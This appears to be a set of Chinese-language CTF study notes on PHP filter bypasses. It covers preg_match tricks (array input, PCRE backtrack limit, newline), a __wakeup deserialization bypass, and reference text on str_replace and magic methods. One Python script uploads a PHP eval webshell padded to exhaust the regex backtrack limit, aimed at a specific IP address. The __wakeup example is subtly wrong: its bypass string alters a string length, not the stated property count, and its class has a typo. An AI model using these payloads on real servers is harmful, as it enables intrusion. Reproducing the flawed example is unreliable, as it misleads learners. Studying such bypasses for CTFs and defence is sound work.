preg_match绕过
preg_match — 执行匹配正则表达式
preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) : int
pattern
要搜索的模式,字符串类型。
subject
输入字符串。
matches
如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
flags
flags 可以被设置为以下标记值的组合:
PREG_OFFSET_CAPTURE
如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的字节数)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。
PREG_UNMATCHED_AS_NULL
使用该标记,未匹配的子组会报告为 NULL;未使用时,报告为空的 string。
offset
通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个位置开始搜索(单位是字节)。
返回值
preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。
//模式分隔符后的"i"标记这是一个大小写不敏感的搜索
preg_match("/php/i", "PHP is the web scripting language of choice.")
/* 模式中的\b标记一个单词边界,所以只有独立的单词"web"会被匹配,而不会匹配
- 单词的部分内容比如"webbing" 或 “cobweb” */
preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")
获取URL中的域名
<?php
//从URL中获取主机名称
preg_match('@^(?:http://)?([^/]+)@i',
"http://www.php.net/index.html", $matches);
$host = $matches[1];
//获取主机名称的后面两部分
preg_match('/[^.]+\.[^.]+$/', $host, $matches);
echo "domain name is: {$matches[0]}\n";
?>
domain name is: php.net
绕过方法
1,数组绕过
preg_match只能处理字符串,当传入的subject是数组时会返回false
2,PCRE回溯次数限制
PHP利用PCRE回溯次数限制绕过某些安全限制
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false
3,换行字符
. 不会匹配换行符,如
if (preg_match('/^.*(flag).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}
$json="\nflag"
而在非多行模式下,$似乎会忽略在句尾的%0a
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}
?a=flag%0a
跳过__wakeup()魔法函数
__wakeup():将在序列化之后立即被调用。
漏洞原理:当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。
<?php
class xctf{
public $flag = '111';
pubilc function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
echo(serialize($a));
?>
// 序列化输出结果为:
// O:4:"xctf":1:{s:4:"flag";s:3:"111";}
绕过:O:4:“xctf”:1:{s:4:“flag”;s:4:“111”;}
serialize() 方法:通过序列化表单值,创建 URL 编码文本字符串。
str_replace() 函数
替换字符串中的一些字符(区分大小写)。
该函数必须遵循下列规则:
如果搜索的字符串是一个数组,那么它将返回一个数组。
如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
如果同时需要对某个数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余的元素将用空字符串进行替换。
如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。
语法:str_replace(find,replace,string,count)
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。
php var_dump 函数
作用是判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型.
function __construct(构造函数)
具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
function __destruct()(析构函数)
析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。